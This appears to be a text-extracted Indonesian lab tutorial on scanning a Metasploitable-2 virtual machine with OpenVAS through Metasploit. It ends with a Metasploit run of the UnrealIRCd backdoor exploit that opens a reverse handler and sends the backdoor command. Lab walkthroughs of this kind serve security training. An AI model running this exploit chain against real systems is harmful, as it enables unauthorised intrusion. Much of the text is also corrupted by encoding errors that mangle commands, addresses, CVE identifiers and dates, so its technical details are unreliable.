openvas+metasploit

8/10/2019 OpenVAS+Metasploit

1/15

http://di.konfigurasi.in

OpenVAS

Pastikan pengecekan fungsi-fungsi service OpenVAS berjalan dengan baik. Dengan enjalankanperintah berikut:

root!sockaliln"#:$% cd /usr/bin/

root!sockaliln"#:/usr/bin% ./openvas-check-setup

openvas-check-setup #.#.& 'est copleteness and readiness of OpenVAS-( )add *--v+*, *--v* or *--v* if ou 0ant to check for another OpenVAS version1

Please report us an non-detected probles and help us to iprove this check routine: http://lists.0ald.intevation.org/ailan/listinfo/openvas-discuss

Send us the log-file )/tp/openvas-check-setup.log1 to help anal2e the proble.

3se the paraeter --server to skip checks for client tools like 4SD and OpenVAS-567.

Step 8: 5hecking OpenVAS Scanner ...O9: OpenVAS Scanner is present in version &.+..

O9: OpenVAS Scanner 5A 5ertificate is present as /var/lib/openvas/5A/cacert.pe. O9: ;V' collection in /var/lib/openvas/plugins contains &((( ;V's. nable signature checking )see http://000.openvas.org/trusted-nvts.htl1. O9: 'he ;V' cache in /var/cache/openvas contains &((( files for &((( ;V's.Step #: 5hecking OpenVAS ?anager ...

O9: OpenVAS ?anager is present in version +..+. O9: OpenVAS ?anager client certificate is present as /var/lib/openvas/5A/clientcert.pe. O9: OpenVAS ?anager database found in /var/lib/openvas/gr/tasks.db. O9: Access rights for the OpenVAS ?anager database are correct. O9: s@lite& found, e"tended checks of the OpenVAS ?anager installation enabled. O9: OpenVAS ?anager database is at revision +. O9: OpenVAS ?anager e"pects database at revision +. O9: Database schea is up to date. O9: OpenVAS ?anager database contains inforation about &((+ ;V's. O9: OpenVAS S5AP database found in /var/lib/openvas/scap-data/scap.db. O9: OpenVAS 5>=' database found in /var/lib/openvas/cert-data/cert.db. O9: "sltproc found.Step &: 5hecking OpenVAS Adinistrator ...

O9: OpenVAS Adinistrator is present in version 8.&.#. O9: At least one user e"ists. O9: At least one adin user e"ists. S': >dit the /etc/openvas/p0polic.conf file to set a pass0ord polic.
http://di.konfigurasi.in/http://di.konfigurasi.in/


2/15


Step +: 5hecking 4reenbone Securit Assistant )4SA1 ...O9: 4reenbone Securit Assistant is present in version +...

Step : 5hecking OpenVAS 567 ...O9: OpenVAS 567 version 8.#..

Step (: 5hecking 4reenbone Securit Desktop )4SD1 ...O9: 4reenbone Securit Desktop is present in Version 8.#.#.Step : 5hecking if OpenVAS services are up and running ...

O9: netstat found, e"tended checks of the OpenVAS services enabled. O9: OpenVAS Scanner is running and listening on all interfaces. O9: OpenVAS Scanner is listening on port B&B8, 0hich is the default port. nsure that OpenVAS ?anager listens on all interfaces. O9: OpenVAS ?anager is listening on port B&B, 0hich is the default port. O9: OpenVAS Adinistrator is running and listening onl on the local interface. O9: OpenVAS Adinistrator is listening on port B&B&, 0hich is the default port. O9: 4reenbone Securit Assistant is listening on port B&B#, 0hich is the default port.Step C: 5hecking nap installation ... S': ou should install nap .8.Step B: 5hecking presence of optional tools ... O9: pdflate" found. O9: PD generation successful. 'he PD report forat is likel to 0ork. O9: ssh-kegen found, 6S5 credential generation for 4;3/6inu" targets is likel to 0ork. Ebased targets 0ill not 0ork. S344>S': 7nstall rp.


3/15


'est copleteness and readiness of OpenVAS-( )add *--v+*, *--v* or *--v* if ou 0ant to check for another OpenVAS version1

Please report us an non-detected probles and help us to iprove this check routine: http://lists.0ald.intevation.org/ailan/listinfo/openvas-discuss

Send us the log-file )/tp/openvas-check-setup.log1 to help anal2e the proble.

3se the paraeter --server to skip checks for client tools like 4SD and OpenVAS-567.

Step 8: 5hecking OpenVAS Scanner ...O9: OpenVAS Scanner is present in version &.+..

O9: OpenVAS Scanner 5A 5ertificate is present as /var/lib/openvas/5A/cacert.pe. O9: ;V' collection in /var/lib/openvas/plugins contains &((( ;V's. nable signature checking )see http://000.openvas.org/trusted-nvts.htl1. O9: 'he ;V' cache in /var/cache/openvas contains &((( files for &((( ;V's.Step #: 5hecking OpenVAS ?anager ...

O9: OpenVAS ?anager is present in version +..+. O9: OpenVAS ?anager client certificate is present as /var/lib/openvas/5A/clientcert.pe. O9: OpenVAS ?anager database found in /var/lib/openvas/gr/tasks.db. O9: Access rights for the OpenVAS ?anager database are correct. O9: s@lite& found, e"tended checks of the OpenVAS ?anager installation enabled. O9: OpenVAS ?anager database is at revision +. O9: OpenVAS ?anager e"pects database at revision +. O9: Database schea is up to date. O9: OpenVAS ?anager database contains inforation about &((+ ;V's. O9: OpenVAS S5AP database found in /var/lib/openvas/scap-data/scap.db. O9: OpenVAS 5>=' database found in /var/lib/openvas/cert-data/cert.db. O9: "sltproc found.Step &: 5hecking OpenVAS Adinistrator ...

O9: OpenVAS Adinistrator is present in version 8.&.#. O9: At least one user e"ists. O9: At least one adin user e"ists. S': >dit the /etc/openvas/p0polic.conf file to set a pass0ord polic.Step +: 5hecking 4reenbone Securit Assistant )4SA1 ...

O9: 4reenbone Securit Assistant is present in version +...Step : 5hecking OpenVAS 567 ...

O9: OpenVAS 567 version 8.#..Step (: 5hecking 4reenbone Securit Desktop )4SD1 ...

O9: 4reenbone Securit Desktop is present in Version 8.#.#.Step : 5hecking if OpenVAS services are up and running ...

O9: netstat found, e"tended checks of the OpenVAS services enabled.


4/15


>==O=: OpenVAS Scanner is ;O' runningF 7G: Start OpenVAS Scanner )openvassd1. O9: OpenVAS ?anager is running and listening on all interfaces. O9: OpenVAS ?anager is listening on port B&B, 0hich is the default port.

>==O=: OpenVAS Adinistrator is ;O' runningF 7G: Start OpenVAS Adinistrator )openvasad1. >==O=: 4reenbone Securit Assistant is ;O' runningF 7G: Start 4reenbone Securit Assistant )gsad1.

ERROR: Your OpenVAS-6 installation is not yet coplete!

Please follo0 the instructions arked 0ith 7G above and run thisscript again.

7f ou think this result is 0rong, please report our observationand help us to iprove this check routine:http://lists.0ald.intevation.org/ailan/listinfo/openvas-discussPlease attach the log-file )/tp/openvas-check-setup.log1 to help us anal2e the proble.

5ek port ang asih digunakan oleh openvas dan gsad.root!sockaliln"#:/usr/bin% netstat -nlpt H grep openvasroot!sockaliln"#:/usr/bin% netstat -nlpt H grep gsad

Iika tidak ada port ang digunakan, Anda dapat enjalankan perintah di ba0ah ini:root!sockaliln"#:/usr/bin% openvasd -p B&B -a 8#...8root!sockaliln"#:/usr/bin% openvasd -a 8#...8 -p B&B&root!sockaliln"#:/usr/bin% gsad --http-onl --listenJ8.8.B.8(B -p B&B#

Iika ada port ang dipakai, isalna seperti berikut:tcp 8#...8:B&B ...:K 67S'>; "#$%/openvasd

Anda dapat eng-kill-na terlebih dahulu dengan perintah kill -B "#$%

Ialankan service openvassd dan tunggu sapai All plugins loaded Lcukup lama juga nunggunyaM

root!sockaliln"#:/usr/bin% openvassdAll plugins loaded

Ialankan service openvasdroot!sockaliln"#:/usr/bin% openvasd

5ek port ang telah kita buat sebeluna, aitu dengan perintah di ba0ah ini:root!sockaliln"#:/usr/bin% netstat -nlpt & 'rep openvas

tcp 8#...8:B&B ...:K 67S'>; 8#/openvasdtcp ...:B&B8 ...:K 67S'>; (&B/openvassd: 0aittcp ...:B&B& ...:K 67S'>; 8#&/openvasad


5/15


root!sockaliln"#:/usr/bin% netstat -nlpt & 'rep 'sad

tcp 8.8.B.8(B:B&B# ...:K 67S'>; (8/gsad

Ialankan kebali pengecekan OpenVAS cek setup

root!sockaliln"#:/usr/bin% ./openvas-check-setup

Dan pastikan seua Step 8 sapai dengan Step B berjalan dengan baik dan terdapat inforasi sepertiini It seems like your OpenVAS-6 installation is OK.

3ji coba engakses OpenVAS elalui bro0ser untuk eastikan bah0a port B&B# bisa diakseselalui bro0ser dengan ip 8.8.B.8(B :


6/15


Appliactions N 9ali 6inu" N Vulnerabilit Analsis N OpenVAS N openvas-gsd


7/15


3ji coba engakses OpenVAS elalui (reenbone Security )esktopuntuk eastikan bah0a portB&B bisa diakses elalui openvas-'sddengan ip 8#...8 :

6ogged in as: adin at 8#...8:B&B


8/15


*etasploit

root!sockaliln"#:/usr/bin% sfconsole

sf N load openvasK


9/15


5) ;ae osts ?a" osts 7n 3se 5oent-- ---- ----- --------- ------ ------- 6ocalhost localhost 8 " *etasploitable-$ "0."0."0"."1 " 0 Scannin'

sf N openvasQconi'QlistR OpenVAS list of configs

5) ;ae-- ---- ept" ull and ast

# ull and fast ultiate& ull and ver deep+ ull and ver deep ultiate

sf N openvas+task+create

K 4sa'e: openvas+task+create nae coent coni'+id tar'et+idsf N openvas+task+create *etasploitable-$ Vulnerability-Scannin' " "

K O9, resource created: (adfb&8-a(C-+#8-CfBc-#8+c8fBb8R OpenVAS list of tasks

7D ;ae 5oent Status Progress-- ---- ------- ------ -------- ?etasploitable-# Vulnerabilit-Scanning ;e0 -8

sf N openvas+task+startK 4sa'e: openvas+task+start id

sf N openvas+task+start 0

K O9, re@uest subitted

sf N openvas+task+list

R OpenVAS list of tasks

7D ;ae 5oent Status Progress-- ---- ------- ------ -------- ?etasploitable-# Vulnerabilit-Scanning Runnin' 8


10/15


9etikan kebali openvasQtaskQlist pada etasploit untuk elihat status scanning

sf N openvas+task+list

R OpenVAS list of tasks

7D ;ae 5oent Status Progress-- ---- ------- ------ -------- ?etasploitable-# Vulnerabilit-Scanning )one -8

sf N openvasQreportQlistR OpenVAS list of reports

5) 'ask ;ae Start 'ie Stop 'ie-- --------- ---------- ---------0 ?etasploitable-# #8+-B-'8B:8:8BT #8+-B-'8B:+#:8CT

sf N openvasQoratQlist

R OpenVAS list of report forats

5) ;ae >"tension Suar-- ---- --------- ------- A= "l Asset =eporting orat v8...8 5P> csv 5oon Product >nueration 5SV table.$ '?6 htl Single page '?6 report.& 7'4 csv 4eran U7'-4rundschut2-9atalogeU report.+ 6a'eG te" 6a'eG source file.


11/15


;E> nbe 6egac OpenVAS report.( PD pdf Portable Docuent orat report. 'G' t"t Plain te"t report.C G?6 "l =a0 G?6 report.

sf N openvas+report+do,nload

K 3sage: openvasQreportQdo0nload reportQidN foratQidN pathN reportQnaeNsf N openvas+report+do,nload 0 $ /root/)esktop/ *etasploitable-$

K Saving report to /root/Desktop/?etasploitable-#sf N

sf N openvas+report+iport 0 7K 7porting report to database.sf N

sf N vulns

K 'ie: #8+-B- 8B:B: 3'5 Vuln: hostJ8.8.88.8+ naeJPP version saller than .&.+refsJ5V>-#(-#+&,5V>-#8-#B+,5V>-#8-#B,5V>-#8-&+&(,5V>-#8-&B,5V>-#8-&8,5V>-#8-&C,5V>-#8-+8,5V>-#8-+8(,5V>-#8-++B,5V>-#8-+(B,5V>-#8-+(BC,5V>-#8-+(BB,5V>-#8-+,5V>-#88-&,5V>-#88-+,5V>-#88-,E7D-+8&,E7D-+&B#(,E7D-++(,E7D-++8C,E7D-++#&,E7D-++B8,E7D-++BC,E7D-+88B,E7D-+&&,E7D-+&&C,E7D-+&&B,E7D-+B#,E7D-+B+,E7D-+((,E7D-+(8(CK 'ie: #8+-B- 8B:B:# 3'5 Vuln: hostJ8.8.88.8+ naeJhttp '=A5> GSS attackrefsJ5V>-#+-#,5V>-#&-8(,E7D-B(,E7D-B(8,E7D-88(+K 'ie: #8+-B- 8B:B:# 3'5 Vuln: hostJ8.8.88.8+ naeJ;S e"port refsJ5V>-8BBB-+,5V>-8BBB-+CK 'ie: #8+-B- 8B:B:# 3'5 Vuln: hostJ8.8.88.8+ naeJOpenSS6 55S ?an in the?iddle Securit Epass Vulnerabilit )S'A=''6S 5heck1 refsJ5V>-#8+-##+,E7D-(CBBK 'ie: #8+-B- 8B:B:& 3'5 Vuln: hostJ8.8.88.8+ naeJG Server refsJ5V>-8BBB-#(K 'ie: #8+-B- 8B:B:& 3'5 Vuln: hostJ8.8.88.8+ naeJ/doc director bro0sable WrefsJ5V>-8BBB-(C,E7D-&8CK 'ie: #8+-B- 8B:B:& 3'5 Vuln: hostJ8.8.88.8+ naeJa0iki ?ultiple 6ocal ile 7ncludeVulnerabilities refsJE7D-+B8CK 'ie: #8+-B- 8B:B:& 3'5 Vuln: hostJ8.8.88.8+ naeJPP version saller than .#.BrefsJ5V>-#C-+BC,5V>-#B-8#8,5V>-#B-8##,E7D-&,E7D-&&B#K 'ie: #8+-B- 8B:C: 3'5 Vuln: hostJ8.8.88.8+ naeJvsftpd 5oproised SourcePackages Eackdoor Vulnerabilit refsJE7D-+C&BK 'ie: #8+-B- 8B:C: 3'5 Vuln: hostJ8.8.88.8+ naeJdistcc =eote 5ode >"ecutionVulnerabilit refsJ5V>-#+-#(CK 'ie: #8+-B- 8B:C: 3'5 Vuln: hostJ8.8.88.8+ naeJvsftpd 5oproised SourcePackages Eackdoor Vulnerabilit refsJE7D-+C&BK 'ie: #8+-B- 8B:C: 3'5 Vuln: hostJ8.8.88.8+ naeJPP version saller than .#.refsJ5V>-#C-#&8,5V>-#C-#((,5V>-#C-#(((,5V>-#C-#C#B,5V>-#C-&(C,5V>-#C-&(B,5V>-#C-&((,5V>-#C-,5V>-#C-(#+,5V>-#C-(#,5V>-#C-(C,E7D-#BB(,E7D-#BB,E7D-#BC#B,E7D-&C,E7D-&(+B,E7D-&8(8#,E7D-&C&,E7D-(#,E7D-(CC,E7D-B+CK 'ie: #8+-B- 8B:C:( 3'5 Vuln: hostJ8.8.88.8+ naeJPP version saller than .#.(


12/15


refsJ5V>-#-+C,5V>-#-(&B,5V>-#C-BB,5V>-#C-8&C+,5V>-#C-#,5V>-#C-#8,E7D-#+8&,E7D-#C&B#,E7D-#BBK 'ie: #8+-B- 8B:C:( 3'5 Vuln: hostJ8.8.88.8+ naeJPP version saller than .#.8+refsJ5V>-#-8C8,5V>-#8-&B,5V>-#8-8C(,5V>-#8-8C(#,5V>-#8-8C(+,5V>-#8-

#B,5V>-#8-#8,5V>-#8-#88,5V>-#8-#8B,5V>-#8-#8B8,5V>-#8-###,5V>-#8-#+C+,5V>-#8-#&8,5V>-#8-&(,E7D-&CC,E7D-+B+C,E7D-+8BB8K 'ie: #8+-B- 8B:C: 3'5 Vuln: hostJ8.8.88.8+ naeJPP version saller than .#.refsJ5V>-#-&BB(,5V>-#-+C#,5V>-#-+C&,5V>-#-+C+,5V>-#-+C#,5V>-#-+C+,5V>-#-+CC,5V>-#-+CCB,5V>-#-++,5V>-#-(&,5V>-#-CBC,5V>-#-CBB,5V>-#-B,5V>-#C-#8,5V>-#C-#8C,5V>-#C-+8,E7D-#(+&K 'ie: #8+-B- 8B:C:C 3'5 Vuln: hostJ8.8.88.8+ naeJPP version saller than .&.&refsJ5V>-#8-8B8,5V>-#8-&(#,5V>-#8-&(&,5V>-#8-&(+,E7D-++(8K 'ie: #8+-B- 8B:C:B 3'5 Vuln: hostJ8.8.88.8+ naeJPP-547-based setupsvulnerabilit 0hen parsing @uer string paraeters fro php files. refsJ5V>-#8#-8C#&,5V>-#8#-#&88,5V>-#8#-#&&(,5V>-#8#-#&&,E7D-&&CCK 'ie: #8+-B- 8B:B: 3'5 Vuln: hostJ8.8.88.8+ naeJPP version saller than .#.88refsJ5V>-#B-B8,5V>-#B-B#,5V>-#B-B&,5V>-#B-B+,5V>-#B-+8C,5V>-#B-8(,E7D-&(++B,E7D-++CCBK 'ie: #8+-B- 8B:B: 3'5 Vuln: hostJ8.8.88.8+ naeJPP version saller than .&.8refsJ5V>-#B-&,5V>-#B-&B,5V>-#B-+8,5V>-#8-88#C,E7D-&(+,E7D-&(,E7D-&B,E7D-&8&CK 'ie: #8+-B- 8B:B: 3'5 Vuln: hostJ8.8.88.8+ naeJPP version saller than .#.CrefsJ5V>-#C-C8+,5V>-#C-C++,E7D-(&K 'ie: #8+-B- 8B:B:& 3'5 Vuln: hostJ8.8.88.8+ naeJApache ''P Server *httpOnl*5ookie 7nforation Disclosure Vulnerabilit refsJ5V>-#8#-&,E7D-8(K 'ie: #8+-B- 8B:B:& 3'5 Vuln: hostJ8.8.88.8+ naeJSaba *client/ount.cifs.c*=eote Denial of Service Vulnerabilit refsJ5V>-#8-+,E7D-&C(K 'ie: #8+-B- 8B:B:+ 3'5 Vuln: hostJ8.8.88.8+ naeJopenssh-server orced 5oandandling 7nforation Disclosure Vulnerabilit refsJ5V>-#8#-C8+,E7D-8#K 'ie: #8+-B- 8B:B:+ 3'5 Vuln: hostJ8.8.88.8+ naeJ75?P 'iestap DetectionrefsJ5V>-8BBB-#+K 'ie: #8+-B- 8B:B:+ 3'5 Vuln: hostJ8.8.88.8+ naeJAnonous 'P 5heckingrefsJ5V>-8BBB-+B


13/15


sf N search unreal

?atching ?odulesJJJJJJJJJJJJJJJJ

;ae Disclosure Date =ank Description ---- --------------- ---- -----------e"ploit/linu"/gaes/ut#+Qsecure #+-(-8C good 3nreal 'ournaent #+ UsecureUOverflo0 )6inu"1eploit!uni!irc!unreal"irc#"$%&'"back#oor %('(-(6-'% ecellent )nrealI*+, $.%.&.'ack#oor +omman# ecution

e"ploit/0indo0s/gaes/ut#+Qsecure #+-(-8C good 3nreal 'ournaent #+UsecureU Overflo0 )"ploit target:

7d ;ae -- ---- Autoatic 'arget

sf e"ploit)unrealQircdQC8Qbackdoor1 N set R9OS "0."0."0"."1

=OS' JN 8.8.88.8+

sf e"ploit)unrealQircdQC8Qbackdoor1 Ne8ploit -;

K >"ploit running as background job.

K Started reverse double handlersf e"ploit)unrealQircdQC8Qbackdoor1 N K 5onnected to 8.8.88.8+:(((... :irc.?etasploitable.6A; ;O'75> A3' :KKK 6ooking up our hostnae...K Sending backdoor coand...K Accepted the first client connection...


14/15


K Accepted the second client connection...K 5oand: echo t&D44ftnArjD>GXK


15/15


Reerensi:

http://000.outube.co/0atchWvJ9BG>gQ-Shttp://000.ehacking.net/#88/88/ho0-to-use-openvas-in-etasploit.htlhttp://resources.infosecinstitute.co/vulnerabilit-scanning-etasploit-part-#/

openvas+metasploit

Documents